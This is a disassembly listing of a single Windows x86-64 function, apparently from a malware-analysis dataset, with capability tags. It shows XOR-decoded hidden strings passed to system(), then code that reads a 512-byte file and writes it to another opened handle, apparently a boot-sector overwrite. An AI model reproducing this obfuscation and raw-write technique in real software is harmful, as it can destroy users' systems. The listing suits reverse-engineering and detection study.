Function at 0x140066a00
Capabilities:
Encode data using xor
Get file size
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
xor ebx, ebx
mov dword [rbp - 0x40], 0x9b969a97
mov ecx, ebx
mov dword [rbp - 0x3c], 0x8f929692
mov dword [rbp - 0x38], 0x20c0de89
mov word [rbp - 0x34], 0x3e
mov byte [rbp - 0x32], 1
lea eax, [rcx - 0xb]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0xd
jb 0x14005cf50
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x32], bl
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x14007da70]
movdqa xmm1, xmmword [0x14007db60]
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x10], 0x1005a59
movdqu xmmword [rbp - 0x20], xmm1
nop dword [rax]
lea eax, [rbx - 0xb]
xor byte [rbp + rbx - 0x30], al
inc rbx
cmp rbx, 0x22
jb 0x14005cfa0
lea rcx, [rbp - 0x30]
mov byte [rbp - 0xd], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
jmp 0x140066a00
mov r11, rsp
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r14
push rbp
lea rbp, [r11 - 0x5f]
sub rsp, 0xb0
mov rax, qword [0x140394600]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov eax, dword [0x14007cd28]
xor r14d, r14d
cmp dword [0x140394650], 2
mov ecx, r14d
movups xmm0, xmmword [0x14007cd08]
mov dword [rbp + 0x1f], eax
movups xmm1, xmmword [0x14007cd18]
movzx eax, word [0x14007cd2c]
movups xmmword [rbp - 1], xmm0
mov word [rbp + 0x23], ax
movups xmmword [rbp + 0xf], xmm1
jl 0x140066b94
movdqa xmm5, xmmword [0x14007b610]
lea rdx, [rbp - 1]
movdqa xmm4, xmmword [0x14007dd50]
movaps xmmword [r11 - 0x18], xmm6
movdqa xmm6, xmmword [0x14007da30]
movaps xmmword [r11 - 0x28], xmm7
movdqa xmm7, xmmword [0x14007da40]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm5
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x10
jl 0x140066a90
movaps xmm7, xmmword [rsp + 0x90]
movaps xmm6, xmmword [rsp + 0xa0]
cmp ecx, 0x13
jge 0x140066bd3
movsxd rax, ecx
lea r8, [rbp - 1]
lea r8, [r8 + rax*2]
nop
mov eax, 0x92492493
lea r8, [r8 + 2]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x38
movzx eax, cx
inc ecx
sub ax, dx
add ax, 0x31
xor word [r8 - 2], ax
cmp ecx, 0x13
jl 0x140066ba0
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rcx, [rbp - 1]
mov edx, 0x10000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140066d1c
mov edx, dword [0x14007cd40]
mov eax, 0x2e
movzx ecx, word [0x14007cd44]
xor r9d, r9d
movups xmm0, xmmword [0x14007cd30]
mov dword [rbp - 9], edx
xor cx, 0x3b
xor word [rbp - 7], 0x3a
xor dx, 0x39
movups xmmword [rbp - 0x19], xmm0
xor word [rbp - 0x17], 0x32
xor r8d, r8d
xor word [rbp - 0x15], 0x33
xor word [rbp - 0x13], 0x34
xor word [rbp - 0x11], 0x35
xor word [rbp - 0xf], 0x36
xor word [rbp - 0xd], 0x37
xor word [rbp - 0xb], 0x38
mov word [rbp - 9], dx
mov edx, 0x80000000
mov word [rbp - 5], cx
lea rcx, [rbp - 0x19]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0xc0], rbx
mov word [rbp - 0x19], ax
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140066d14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x200
jne 0x140066d14
mov ecx, eax
mov qword [rsp + 0xc8], rsi
call fcn.14007153c
lea r9, [rbp + 0x27]
mov qword [rsp + 0x20], r14
mov r8d, 0x200
mov rdx, rax
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140066cfa
lea r9, [rbp + 0x27]
mov qword [rsp + 0x20], r14
mov r8d, 0x200
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0xc8]
mov rbx, qword [rsp + 0xc0]
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400712e0
lea r11, [rsp + 0xb0]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret